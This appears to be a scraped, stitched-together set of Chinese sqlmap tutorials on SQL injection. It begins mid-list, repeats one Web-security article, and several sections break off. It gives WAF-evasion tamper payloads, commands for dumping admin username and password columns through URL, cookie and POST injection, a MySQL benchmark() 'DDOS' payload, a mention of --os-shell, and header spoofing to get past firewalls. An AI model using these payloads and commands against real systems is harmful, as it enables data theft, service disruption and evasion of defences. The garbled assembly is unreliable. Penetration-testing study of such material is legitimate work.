and 2>1--// new1/*!30874AND 2>1*/--modsecurityzeroversioned将空格替换为包含完整版本注释与零版本注释的字符串// old1 and 2>1// new1/*!00000and 2>1*/--versionedkeywords为每个⾮函数关键字添加版本注释// old1 union all select null,null,CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#// new1/*!union**!all**!select**!null*/,/*!null*/,CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS**!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#versionedmorekeywords为每个关键字添加版本注释// old1 union select null,null,CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#// new1/*!uninon**!select**!null*/,/*!null*/,/*!concat*/(/*!char*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS**!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))# halfversionedmorekeywords为每个关键字前添加注释 /*!0// oldvalue' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)),NULL,NULL# AND 'QDW'='QDWa// newvalue'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),NULL,NULL#/*!0AND 'QDW'='QDWa multiplespaces围绕SQL关键字添加空格// old1 union select foobar// new1 union select foobarnonrecursivereplacement双重查询语句// old1 union select 2--// new1 ununionion selselectect 2--unionalltounion将union all select替换为union select// old1 union all select// new1 union selectsecuresphere追加特制字符串// old1 and 1=1// new1 and 1=1 and 'ok'='ok'percentage每个字符前添加百分号(%)// oldselect id from users// new%s%e%l%e%c%t %i%d %f%r%o%m %u%s%e%r%sappendnullbyte在有效载荷末尾位置加载字节字符编码// old1 and 1=1// new1 and 1=1%00randomcase随机⼤⼩写// oldinsert// newInsErTcharencode对所有字符串进⾏url编码// oldSELECT FIELD FROM TABLE// new%53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45chardoubleencode对所有字符串进⾏双重url编码// oldSELECT FIELD FROM TABLE// new%2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545 charunicodeencode对所有字符串进⾏unicode编码// oldSELECT FIELD FROM TABLE// new%u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045 base64encode对所有字符串进⾏base64编码// old1 and 1=1#// newMSBhbmQgMT0xIw==总结空格处理space2plus.pyspace2hash.pyspace2morehash.pyspace2mysqldash.pyspace2randomblank.pyspace2mssqlblank.pyspace2mssqlhash.pyspace2comment.pymodsecurityversioned.pymodsecurityzeroversioned.py⼤于号处理between.pygreatest.py等于号处理equaltolike.pybluecoat.py引号处理apostrophemask.py:utf8替换引号apostrophenullencode.py :替换字符和双引号关键字处理versionedkeywords.pyversionedmorekeywords.pyhalfversionedmorekeywords.pymultiplespaces.py:多个关键字前加空格nonrecursivereplacement.py:双重关键字unionalltounion.py:union select替换union all selectsecuresphere.py:追加特制字符串percentage.py:每个字符前加%appendnullbyte.py:末尾添加零字节编码语句处理randomcase.py:⼤⼩写混淆charencode.py:url编码chardoublecode.py:双重url编码charunicodeencode.py:unicode编码base64encode.py:base64编码。
SQLMAP注入教程-11种常见SQLMAP使用方法详解
SQLMAP注⼊教程-11种常见SQLMAP使⽤⽅法详解⼀、SQLMAP⽤于Access数据库注⼊(1) 猜解是否能注⼊1 2win:python sqlmap.py -u "" Linux :.lmap.py -u ""(2) 猜解表1 2win:python sqlmap.py -u ""--tables Linux:.lmap.py -u ""--tables(3) 根据猜解的表进⾏猜解表的字段(假如通过2得到了admin这个表)1 2win:python sqlmap.py -u ""--columns -T admin Linux:.lmap.py -u ""--columns -T admin(4) 根据字段猜解内容(假如通过3得到字段为username和password)1 2 3win:python sqlmap.py -u ""--dump -T admin -C "username,password" Linux:.lmap.py -u ""--dump -T admin -C"username,[url=]B[/url]password"⼆、SQLMAP⽤于Cookie注⼊(1) cookie注⼊,猜解表1win :python sqlmap.py -u ""--cookie "id=31" --table --level 2 (2) 猜解字段,(通过1的表猜解字段,假如表为admin)1 2win :python sqlmap.py -u ""--cookie "id=31" --columns -T admin --level 2(3) 猜解内容1 2win :python sqlmap.py -u ""--cookie "id=31" --dump -T admin -C "username,password"--level 2三、SQLMAP⽤于mysql中DDOS攻击(1) 获取⼀个Shell1 2 3 4win:python sqlmap.py -u [url]http://192.168.159.1/news.php?id=1[/url] --sql-shell Linux:sqlmap -u [url]http://192.168.159.1/news.php?id=1[/url] --sql-shell(2) 输⼊执⾏语句完成DDOS攻击1select benchmark(99999999999,0x70726f62616e646f70726f62616e646f70726f62616e646f)四、SQLMAP⽤于mysql注⼊(1) 查找数据库1python sqlmap.py -u ""--dbs(2) 通过第⼀步的数据库查找表(假如数据库名为dataname)1python sqlmap.py -u ""-D dataname --tables(3) 通过2中的表得出列名(假如表为table_name)1python sqlmap.py -u ""-D dataname -T table_name --columns(4) 获取字段的值(假如扫描出id,user,password字段)1 2python sqlmap.py -u ""-D dataname -T table_name -C "id,user,password"--dump五、SQLMAP中post登陆框注⼊(1) 其中的search-test.txt是通过抓包⼯具burp suite抓到的包并把数据保存为这个txt⽂件我们在使⽤Sqlmap进⾏post型注⼊时,经常会出现请求遗漏导致注⼊失败的情况。
burpsuite sqlmap使用
burpsuite sqlmap使用“BurpSuite和SQLMap的使用”BurpSuite和SQLMap是在渗透测试中常用的工具,它们可以在发现和利用Web应用程序的漏洞方面发挥重要作用。
在本文中,我将一步一步地演示如何使用这两个工具来检测和利用SQL注入漏洞。
BurpSuite是一款功能强大的渗透测试工具套件,由Burp Proxy、Burp Spider、Burp Scanner、Burp Intruder、Burp Repeater、Burp Decoder、Burp Comparer和Burp Sequencer等多个模块组成。
它提供了全面的功能,用于拦截、修改和检测HTTP请求和响应,并可以发现Web应用程序中的各种漏洞。
SQLMap是一款自动化的SQL注入工具,可以自动检测和利用Web应用程序中的SQL注入漏洞。
它支持各种数据库管理系统,并提供了多种注入技术和攻击向量,可用于发现和利用不同类型的SQL注入漏洞。
下面,我将详细介绍如何使用BurpSuite和SQLMap来检测和利用SQL 注入漏洞。
第一步:设置环境首先,下载并安装最新版本的Java运行时环境(JRE)。
BurpSuite是用Java编写的,因此需要Java环境才能运行。
然后,下载并安装BurpSuite。
您可以在官方网站上找到最新版本的BurpSuite,并按照提示进行安装。
第二步:配置BurpSuite打开BurpSuite,并在首选项中配置代理。
默认情况下,BurpSuite的代理监听在127.0.0.1的8080端口上。
如果您需要更改代理设置,请在首选项->代理->监听端口中进行配置。
接下来,将浏览器的代理设置为BurpSuite的监听地址和端口。
这样,BurpSuite就能够拦截并分析您的浏览器请求。
第三步:发现SQL注入漏洞使用配置好的BurpSuite代理,访问目标Web应用程序,并观察BurpSuite Proxy模块中的请求和响应。
SQLMAP之tamper详解
SQLMAP之tamper详解sqlmap 是一款注入神器广为人知,里面的 tamper 常常用来绕过WAF ,很实用的模块,但是却常常被新手忽略(比如我),今天就整理总结一下 tamper 的用法以及 tamper 的编写PS:工具既然叫做工具,就是用来辅助上单的,呸辅助我们完成某些任务的,仅仅适用于当进行某些重复的繁琐工作或是偶尔懒癌发作时,不能过度依赖ALL 表示所有数据库都适用,具体指出哪种数据库就表名只只适用于某些数据。
使用方法:sqlmap.py XXXXX -tamper "模块名"各个 tamper 的作用下面针对 sqlmap 自带的 tamper 做一下简单的解释。
apostrophemask.py:return payload.replace(''', "%EF%BC%87") if payload else payload将单引号 url 编码,用于过滤了单引号的情况。
1' AND '1'='1 to 1%EF%BC%87 AND %EF%BC%871%EF%BC%87=%EF%BC%871适用数据库:ALLapostrophenullencode.py:return payload.replace(''', "%00%27") if payload else payload 将单引号替换为宽字节 unicode 字符,用于过滤了单引号的情况1' AND '1'='1 to 1�' AND �'1�'=�'1适用数据库:ALLappendnullbyte.py:return "%s%%00" % payload if payload else payload在你构造的payload后面加一个空字符1' AND '1'='1 to 1' AND '1'='1[]适用数据库:Accessbase64encode.py:returnbase64.b64encode(payload.encode(UNICODE_ENCODING)) if payload else payload这个看模块名也知道是 base64 编码1' AND '1'='1 to MScgQU5EICcxJz0nMQ==适用数据库:ALLbetween.py:这个代码有点长,就不贴代码了,可以自己去查看:C:\Python\SQLMap\tamper\between.py将大于符号和等号用 between 语句替换,用于过滤了大于符号和等号的情况1 AND A > B to 1 AND A NOT BETWEEN 0 AND B1 AND A = B to 1 AND A BETWEEN B AND B适用数据库:ALLbluecoat.py:用随机的空白字符代替空格,并且将等号替换为like ,用于过滤了空格和等号的情况union select from users where id = 1 to union%09select from%09users where id like 1适用数据库:MySQL 5.1, SGOSchardoubleencode.py:用 url 编码两次你的 payloadselect * from users to %2573%2565%256c%2565%2563%2574%2520%252a%2520 %2566%2572%256f%256d%2520%2575%2573%2565%2572 适用数据库:ALLcharencode.py:用 url 编码一次你的 payloadselect * from users to %73%65%6c%65%63%74%20%2a%20%66%72%6f%6d%20% 75%73%65%72适用数据库:ALLcharunicodeencode.py:用 unicode 编码 payload ,只编码非编码字符select * from users to u0073u0065u006cu0065u0063u0074u0020u002au0020u0066u0 072u006fu006du0020u0075u0073u0065u0072u0073 适用数据库:ALL,但是需要 asp 和 环境commalesslimit.py:将 payload 中的逗号用 offset 代替,用于过滤了逗号并且是两个参数的情况limit 2,1 to limit 1 offset 2适用数据库:MySQLcommalessmid.py:将 payload 中的逗号用 from for 代替,用于过滤了逗号并且是三参数的情况mid(version(), 1, 1) to mid(version() from 1 for 1)适用数据库:MySQLcommentbeforeparentheses.py:retVal = re.sub(r"b(w+)(", "g<1>/**/(", retVal)在某个单词后的第一个括号前面加入/**/ ,用于过滤了函数的情况union select group_concat(table_name) to union select group_concat/**/(table_name)适用数据库:ALLconcat2concatws.py:payload = payload.replace("CONCAT(", "CONCAT_WS(MID(CHAR(0),0,0),")用于过滤了 concat 函数的情况concat(1,2) to concat_ws(mid(char(0), 0, 0), 1, 2)适用数据库:MySQLequaltolike.py:retVal = re.sub(r"s=s", " LIKE ", retVal)将等号用 like 代替,用于过滤了等号的情况select from users where id=1 to select from users where id like 1适用数据库:ALLescapequotes.py:return payload.replace("'", "'").replace('"', '"')将单引号转换成 \' ,双引号转换成 \" ,用于过滤了单引号或双引号的情况1' and 1=1--+ to 1\' and 1=1--+适用数据库:ALLgreatest.py:用 greatest 代替大于符号,用于大于符号被过滤了的情况1 and a>b to 1 and greatest(a,b+1)=aALLhalfversionedmorekeywords.py:在关键字前添加注释,用于过滤了关键字的情况union select 1,2 to /!0union/!0select 1,2适用数据库:MySQL < 5.1htmlencode.py:return re.sub(r"1", lambda match: "&#%d;" % ord(match.group(0)), payload) if payload else payload 从名字就知道是将 payload 进行 html 编码1' and 1=1--+ to 1' and 1=1--+适用数据库:ALLifnull2ifisnull.py:将 ifnull() 函数转为 if(isnull()) 函数,用于过滤了 ifnull 函数的情况ifnull(1, 2) to if(isnull(1), 2, 1)适用数据库:MySqlinformationschemacomment.py:retVal = re.sub(r"(?i)(information_schema).", "g<1>/**/.", payload)在information_schema 后面加上/**/ ,用于绕过对information_schema 的情况select table_name from information_schema.tables to select table_name from information_schema/**/.tables适用数据库:ALLlowercase.py:将 payload 里的大写转为小写UNION SELECT to union select适用数据库:ALLmodsecurityversioned.py:用注释来包围完整的查询语句,用于绕过 ModSecurity 开源 waf1 and 2>1--+ to 1 /!30874and 2>1/--+适用数据库:MySQLmodsecurityzeroversioned.py:用注释来包围完整的查询语句,用于绕过 waf ,和上面类似1 and 2>1--+ to 1 /!00000and 2>1/--+适用数据库:MySQLmultiplespaces.py:在关键字周围添加多个空格union select 1,2--+ to union select 1,2--+适用数据库:ALLnonrecursivereplacement.py:关键字双写,可用于关键字过滤union select 1,2--+ to uniounionn selecselectt 1,2--+适用数据库:ALLoverlongutf8.py:这个不是很懂,也去网上搜了下,都说是”转换给定的payload 当中的所有字符“,类似空格大于小于这种select field from table where 2>1 to select%C0%AAfield%C0%AAfromtable%C0%AAwhere%C0%AA2 %C0%BE1适用数据库:ALLpercentage.py:用百分号来绕过关键字过滤,具体是在关键字的每个字母前面都加一个百分号select from users to %s%e%l%e%c%t %f%r%o%m %u%s%e%r%s适用数据库:ALL, 但是需要 ASP 环境plus2concat.py:用 concat 函数来替代加号,用于加号被过滤的情况select char(13)+char(114)+char(115) from user to select concat(char(113),char(114),char(115)) from user适用数据库:SQL Server 2012+plus2fnconcat.py:用 fn concat 来替代加号,和上面类似select char(13)+char(114)+char(115) from user to select {fn concat({ fn concat(char(113),char(114))},char(115))} from user 适用数据库:Microsoft SQL Server 2008+randomcase.py:将 payload 随机大小写,可用于大小写绕过的情况union select 1,2--+ to UniOn SElect 1,2--+适用数据库:ALLrandomcomments.py:在 payload 的关键字中间随机插入 /**/ ,可用于绕过关键字过滤union select 1,2--+ to un//ion sele//ct 1,2--+适用数据库:ALLsecuresphere.py:return payload + " and '0having'='0having'" if payload else payload在 payload 后面加入字符串,可以自定义1' and 1=1 to 1' and 1=1 '0having'='0having'适用数据库:ALLsp_password.py:retVal = "%s%ssp_password" % (payload, "-- " if not any(_ if in payload else None for in ('#', "-- ")) else "")在 payload 语句后添加 ssp_password ,用于迷惑数据库日志1’ and 1=1--+ to 1 and 1=1-- sp_password适用数据库:MSSQLspace2comment.py:用 /**/ 替代空格,用于空格的绕过union select 1,2--+ to union//select//1,2--+适用数据库:ALLspace2dash.py:用注释符--和一个随机字符串加一个换行符替换控制符union select 1,2--+ to union--HSHjsJh%0Aselect--HhjHSJ%0A1,2--+适用数据库:MSSQL、 SQLitespace2hash.py:和上面类似,不过这儿是用#注释符union select 1,2--+ to union%23HSHjsJh%0Aselect%23HhjHSJ%0A1,2--+适用数据库:MySQLspace2morecomment.py:将空格用 /_/ 替代union select 1,2--+ to union/_/select/_/1,2--+适用数据库:ALLspace2morehash.py:和 space2hash.py 类似,但是这儿多一个 # 和换行符,具体看一下对比:space2hash.py:union select 1,2--+ to union %23 HSHjsJh %0A select %23 HhjHSJ %0A1,2--+space2morehash.py:union select 1,2--+ to union %23 HSHjsJh %0A select %23 HhjHSJ %0A%23 HJHJhj %0A 1,2--+ 适用数据库:MySQL >= 5.1.13space2mssqlblank.py:blanks = ('%01', '%02', '%03', '%04', '%05', '%06', '%07', '%08', '%09', '%0B', '%0C', '%0D', '%0E', '%0F', '%0A')用这些随机空白符替换 payload 中的空格union select 1,2--+ to union%01select%021,2--+适用数据库:SQL Serverspace2mssqlhash.py:用 # 加一个换行符替换 payload 中的空格union select 1,2--+ to union%23%0Aselect%23%0A1,2--+ 适用数据库:MSSQL、MySQLspace2mysqlblank.py:blanks = ('%09', '%0A', '%0C', '%0D', '%0B')用这些随机空白符替换payload中的空格union select 1,2--+ to union%09select%0D1,2--+适用数据库:MySQLspace2mysqldash.py:用 -- 加一个换行符替换空格union select 1,2--+ to union--%0Aselect--%0A1,2--+适用数据库:MySQL、MSSQLspace2plus.py:用 + 替换空格union select 1,2--+ to union+select+1,2--+适用数据库:ALLspace2randomblank.py:blanks = ("%09", "%0A", "%0C", "%0D")用这些随机空白符替换 payload 中的空格union select 1,2--+ to union%09select%0C1,2--+适用数据库:ALLsymboliclogical.py:retVal = re.sub(r"(?i)bANDb", "%26%26", re.sub(r"(?i)bORb", "%7C%7C", payload))用 && 替换 and ,用 || 替换 or ,用于这些关键字被过滤的情况1 and 1=1 to 1 %26%26 1=11 or 1=1 to 1 %7c%7c 1=1适用数据库:ALLunionalltounion.py:return payload.replace("UNION ALL SELECT", "UNION SELECT") if payload else payload用 union select 替换union all selectunion all select 1,2--+ to union select 1,2--+适用数据库:ALLunmagicquotes.py:用宽字符绕过 GPC addslashes1‘ and 1=1 to 1%df%27 and 1=1--适用数据库:ALLuppercase.py:将 payload 大写union select to UNION SELECT适用数据库:ALLvarnish.py:headers = kwargs.get("headers", {})headers["X-originating-IP"] = "127.0.0.1"return payload添加一个 HTTP 头“ X-originating-IP ” 来绕过 WAF还可以自定义:X-forwarded-for: TARGET_CACHESERVER_IP (184.189.250.X)X-remote-IP: TARGET_PROXY_IP (184.189.250.X)X-originating-IP: TARGET_LOCAL_IP (127.0.0.1)x-remote-addr: TARGET_INTERNALUSER_IP (192.168.1.X)X-remote-IP: * or %00 or %0A适用数据库:ALLversionedkeywords.py对不是函数的关键字进行注释1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USE R() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#to1/!UNION//!ALL//!SELECT//!NULL/,/!NULL/,CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USE R()/!AS//!CHAR/),CHAR(32)),CHAR(58,100,114,117,58))# 适用数据库:MySQLversionedmorekeywords.py:注释每个关键字1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USE R() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#to1/!UNION//!ALL//!SELECT//!NULL/,/!NULL/,/!CONCAT/(/!CH AR/(58,122,114,115,58),/!IFNULL/(CAST(/!CURRENT_USER/()/!AS //!CHAR/),/!CHAR/(32)),/!CHAR/(58,115,114,121,58))#适用数据库:MySQL >= 5.1.13xforwardedfor.py:headers = kwargs.get("headers", {})headers["X-Forwarded-For"] = randomIP()return payload添加一个伪造的 HTTP 头“ X-Forwarded-For ” 来绕过 WAF 适用数据库:ALL总结虽然sqlmap 自带的tamper 可以做很多事情,但是在实际的环境中,往往比较复杂,可能遇到的情况会非常多,这些tamper 不可能做到很全面的应对各种环境,所以在学习自带的tamper 的使用的同时,最好能够掌握tamper 的编写规则,这样应对各种环境才能应对自如,不过作者也在准备这么一篇关于tamper 的编写方式,希望可以帮到更多的同学,让我们在学习的路上不是孤军奋战。
Sqlmap 手册
Sqlmap 手册http://192.168.136.131/sqlmap/mysql/get_int.php?id=1当给sqlmap这么一个url的时候,它会:1、判断可注入的参数2、判断可以用那种SQL注入技术来注入3、识别出哪种数据库4、根据用户选择,读取哪些数据sqlmap支持五种不同的注入模式:1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
4、联合查询注入,可以使用union的情况下的注入。
5、堆查询注入,可以同时执行多条语句的执行时的注入。
sqlmap支持的数据库有:MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB可以提供一个简单的URL,Burp或WebScarab请求日志文件,文本文档中的完整http 请求或者Google的搜索,匹配出结果页面,也可以自己定义一个正则来判断那个地址去测试。
测试GET参数,POST参数,HTTP Cookie参数,HTTP User-Agent头和HTTP Referer 头来确认是否有SQL注入,它也可以指定用逗号分隔的列表的具体参数来测试。
可以设定HTTP(S)请求的并发数,来提高盲注时的效率。
Youtube上有人做的使用sqlmap的视频:/user/inquisb/videos/user/stamparm/videos使用sqlmap的实例文章:/search/label/sqlmap可以点击https:///sqlmapproject/sqlmap/tarball/master下载最新版本sqlmap。
sqlmap中tamper的套用编写
SQLmap中tamper的套用与编写导语:tamper脚本不全,没有想要的功能,那就套用别人的思路改一个吧,不行,那就自己编一个………为了说明tamper的结构,让我们从一个最简单的例子开始为了说明tamper的结构,让我们从一个最简单的例子开始# sqlmap/tamper/escapequotes.pyfromlib.core.enums import PRIORITY__priority__ = PRIORITY.LOWESTdef dependencies():passdef tamper(payload, **kwargs):returnpayload.replace("'", "\\'").replace('"', '\\"')不难看出,一个最小的tamper脚本结构为priority变量定义和dependencies、tamper函数定义。
priority定义脚本的优先级,用于有多个tamper脚本的情况。
dependencies函数声明该脚本适用/不适用的范围,可以为空。
tamper是主要的函数,接受的参数为payload和**kwargs返回值为替换后的payload。
比如这个例子中就把引号替换为了\\'。
我们在选一个脚本,该脚本为base64encode.py,查看脚本中的tamper内容:可以看到内容非常简单,将payload的内容内容做了base64编码然后直接返回。
Tamper 有两个参数第一个参数payload即为传入的实际要操作的payload,第二个参数**kwargs 为相关httpheader。
譬如你想插入或则修改header的时候可以用到。
逻辑流程弄清楚之后,很容易编写自己的tamper脚本了。
以使用%a0替换空格的脚本为例,在tamper目录下创建space2ao.py脚本,稍微修改下脚本:在tamper里面再找一个插件,我们来分析分析他的构成。
跨站脚本攻击-sql注入-web脚本攻击-网页挂马-详细过程及主要代码
Web安全目录一、什么是Web安全二、Web安全威胁日趋严重的原因三、常见的WEB安全攻击种类四、WEB应用防火墙五、梭子鱼WEB应用防火墙技术一览一、什么是Web安全二、Web安全威胁日趋严重的原因三、常见的WEB安全攻击种类展开一、什么是Web安全随着Web2.0、社交网络、微博等等一系列新型的互联网产品的诞生,基于Web环境的互联网应用越来越广泛,企业信息化的过程中各种应用都架设在Web平台上,Web业务的迅速发展也引起黑客们的强烈关注,接踵而至的就是Web安全威胁的凸显,黑客利用网站操作系统的漏洞和Web服务程序的SQL注入漏洞等得到Web服务器的控制权限,轻则篡改网页内容,重则窃取重要内部数据,更为严重的则是在网页中植入恶意代码,使得网站访问者受到侵害。
这也使得越来越多的用户关注应用层的安全问题,对Web应用安全的关注度也逐渐升温。
二、Web安全威胁日趋严重的原因目前很多业务都依赖于互联网,例如说网上银行、网络购物、网游等,很多恶意攻击者出于不良的目的对Web 服务器进行攻击,想方设法通过各种手段获取他人的个人账户信息谋取利益。
正是因为这样,Web业务平台最容易遭受攻击。
同时,对Web服务器的攻击也可以说是形形色色、种类繁多,常见的有挂马、SQL注入、缓冲区溢出、嗅探、利用IIS等针对Webserver 漏洞进行攻击。
一方面,由于TCP/IP的设计是没有考虑安全问题的,这使得在网络上传输的数据是没有任何安全防护的。
攻击者可以利用系统漏洞造成系统进程缓冲区溢出,攻击者可能获得或者提升自己在有漏洞的系统上的用户权限来运行任意程序,甚至安装和运行恶意代码,窃取机密数据。
而应用层面的软件在开发过程中也没有过多考虑到安全的问题,这使得程序本身存在很多漏洞,诸如缓冲区溢出、SQL注入等等流行的应用层攻击,这些均属于在软件研发过程中疏忽了对安全的考虑所致。
另一方面,用户对某些隐秘的东西带有强烈的好奇心,一些利用木马或病毒程序进行攻击的攻击者,往往就利用了用户的这种好奇心理,将木马或病毒程序捆绑在一些艳丽的图片、音视频及免费软件等文件中,然后把这些文件置于某些网站当中,再引诱用户去单击或下载运行。
简述sqlmap工具使用方法
sqlmap工具使用方法一、什么是sqlmap工具sqlmap是一款开源的自动化SQL注入和数据库接管工具。
它能够检测和利用一些数据库漏洞,获取数据库的敏感数据,以及执行数据库指令。
通过它的强大功能,黑客可以轻松地对目标网站进行注入攻击,获取网站的敏感信息甚至控制整个数据库。
二、安装sqlmap工具1.安装Python环境sqlmap工具是基于Python开发的,所以在使用之前需要安装Python环境。
可以从官方网站()下载Python的安装包,并按照提示完成安装。
2.下载sqlmap工具在安装完成Python环境后,可以从sqlmap官方的GitHub仓库()上下载最新的代码。
也可以通过Git工具直接克隆整个仓库:git clone3.配置sqlmap工具在下载完成后,进入sqlmap工具的目录。
可以通过以下命令进行配置:python sqlmap.py --wizard这个命令将会启动sqlmap的配置向导,根据向导的提示完成配置。
三、使用sqlmap工具sqlmap工具的使用非常简单,只需要指定目标URL或者一些其他的参数,就可以进行注入测试。
下面介绍一些常用的sqlmap命令和参数。
1.基本命令python sqlmap.py -u <target> # 直接测试目标URLpython sqlmap.py -r <request> # 测试从文件中加载的请求数据python sqlmap.py -g <parameter> # 测试通过GET参数加载的请求数据python sqlmap.py -p <parameter> --crawl # 测试通过POST参数加载的请求数据,并尝试爬取更多的页面2.参数选项--dbs # 获取目标数据库中的所有数据库名-D <database> # 指定目标数据库的名字-T <table> # 指定目标数据库中的表名-C '<columns>' # 指定目标表中的列名--dump # 将指定表中的数据导出到文件--os-shell # 获取一个操作系统命令行的交互式shell3.爬虫选项--level <level> # 指定爬虫的爬行深度,默认为1--threads <thread> # 设置爬虫线程数--delay <delay> # 设置爬虫请求的时间间隔,单位为秒4.常用技巧使用sqlmap工具时,可以通过一些技巧提高注入的成功率和效率:•使用代理:通过设置代理参数(-p)将sqlmap的流量转发到代理工具如Burp Suite,可以方便地对请求数据进行分析和修改。
跨站脚本攻击-sql注入-web脚本攻击-网页挂马-详细过程及主要代码
Web安全目录一、什么是Web安全二、Web安全威胁日趋严重的原因三、常见的WEB安全攻击种类四、WEB应用防火墙五、梭子鱼WEB应用防火墙技术一览一、什么是Web安全二、Web安全威胁日趋严重的原因三、常见的WEB安全攻击种类展开一、什么是Web安全随着Web2.0、社交网络、微博等等一系列新型的互联网产品的诞生,基于Web环境的互联网应用越来越广泛,企业信息化的过程中各种应用都架设在Web平台上,Web业务的迅速发展也引起黑客们的强烈关注,接踵而至的就是Web安全威胁的凸显,黑客利用网站操作系统的漏洞和Web服务程序的SQL注入漏洞等得到Web服务器的控制权限,轻则篡改网页内容,重则窃取重要内部数据,更为严重的则是在网页中植入恶意代码,使得网站访问者受到侵害。
这也使得越来越多的用户关注应用层的安全问题,对Web应用安全的关注度也逐渐升温。
二、Web安全威胁日趋严重的原因目前很多业务都依赖于互联网,例如说网上银行、网络购物、网游等,很多恶意攻击者出于不良的目的对Web 服务器进行攻击,想方设法通过各种手段获取他人的个人账户信息谋取利益。
正是因为这样,Web业务平台最容易遭受攻击。
同时,对Web服务器的攻击也可以说是形形色色、种类繁多,常见的有挂马、SQL注入、缓冲区溢出、嗅探、利用IIS等针对Webserver 漏洞进行攻击。
一方面,由于TCP/IP的设计是没有考虑安全问题的,这使得在网络上传输的数据是没有任何安全防护的。
攻击者可以利用系统漏洞造成系统进程缓冲区溢出,攻击者可能获得或者提升自己在有漏洞的系统上的用户权限来运行任意程序,甚至安装和运行恶意代码,窃取机密数据。
而应用层面的软件在开发过程中也没有过多考虑到安全的问题,这使得程序本身存在很多漏洞,诸如缓冲区溢出、SQL注入等等流行的应用层攻击,这些均属于在软件研发过程中疏忽了对安全的考虑所致。
另一方面,用户对某些隐秘的东西带有强烈的好奇心,一些利用木马或病毒程序进行攻击的攻击者,往往就利用了用户的这种好奇心理,将木马或病毒程序捆绑在一些艳丽的图片、音视频及免费软件等文件中,然后把这些文件置于某些网站当中,再引诱用户去单击或下载运行。
sqlmap tamper 注释符
sqlmap tamper 注释符SQLMap是一款非常强大的自动化SQL注入工具,它能够检测并利用Web应用程序中的SQL注入漏洞。
而tamper注释符是SQLMap中用于对注入数据进行修改和混淆的一种技术,通过对注入数据进行特定的处理,可以绕过一些安全机制和过滤规则,从而成功利用SQL 注入漏洞。
tamper注释符是SQLMap中的一种技术,它可以对注入数据进行特定的处理,以绕过一些安全机制和过滤规则。
通过使用tamper注释符,可以对注入数据进行编码、加密、混淆等操作,从而达到绕过防御机制的目的。
tamper注释符可以通过在payload中添加特定的注释符来实现。
注释符通常是一些特殊字符或字符串,SQLMap会根据这些注释符对注入数据进行处理。
例如,可以使用"--"来表示注释,SQLMap会将注释符后面的内容忽略掉。
另外,还可以使用一些编码和加密的注释符,如URL编码、Base64编码等,以混淆注入数据,绕过安全机制。
除了注释符,tamper还可以通过修改注入数据的方式来绕过安全机制。
例如,可以通过在注入数据中添加HTML标签、特殊字符等来绕过输入过滤和输出过滤。
此外,还可以使用一些特殊的SQL语句和函数来绕过SQL防火墙和WAF。
tamper注释符的使用需要根据具体的注入场景和目标应用程序来选择合适的注释符和处理方式。
在使用tamper注释符时,需要注意以下几点:要根据目标应用程序的特点和防御机制选择合适的注释符和处理方式。
不同的应用程序可能有不同的过滤规则和防御机制,需要根据具体情况选择合适的注释符和处理方式。
要注意注释符的使用位置和方式。
注释符通常需要添加在注入数据的特定位置,才能起到绕过防御机制的作用。
此外,注释符还需要与其他tamper选项结合使用,以达到最佳的注入效果。
要注意tamper注释符可能会对注入数据产生影响。
在使用tamper 注释符时,需要确保注入数据仍然有效,不会导致注入失败或产生错误结果。
sqlmap进阶命令
sqlmap进阶命令SQLMap是一款开源的自动化SQL注入工具,通过输入目标URL以及一些必要的参数,就能自动识别和利用目标网站中的SQL注入漏洞。
除了基础的命令操作,SQLMap还提供了一些进阶命令,可以更加灵活和高效地执行注入攻击。
下面是一些常用的SQLMap进阶命令及其使用说明。
1. -p、--param:指定注入参数这个命令用于指定具体的注入参数,可以是URL中的参数,也可以是POST请求中的表单参数。
例如:`-p id`,其中`id`是要注入的参数名。
2. --level:指定注入维度的深度这个命令用于指定注入攻击的深度,取值范围是1到5,默认为1。
级别越高,注入的深度越深,攻击的效果也更强。
例如:`--level 2`。
3. --risk:指定注入攻击的风险级别这个命令用于指定注入攻击的风险级别,取值范围是1到3,默认为1。
级别越高,攻击的风险越大,但也可以发现更多的注入漏洞。
例如:`--risk 3`。
4. --threads:指定并发线程的数量这个命令用于指定并发线程的数量,可以加快注入扫描的速度。
例如:`--threads 10`。
5. --delay:指定每次HTTP请求之间的延时时间这个命令用于指定每次HTTP请求之间的延时时间,可以伪装成正常的用户请求,以防被目标网站的安全机制检测出恶意操作。
例如:`--delay 2`,表示延时2秒发送下一个HTTP请求。
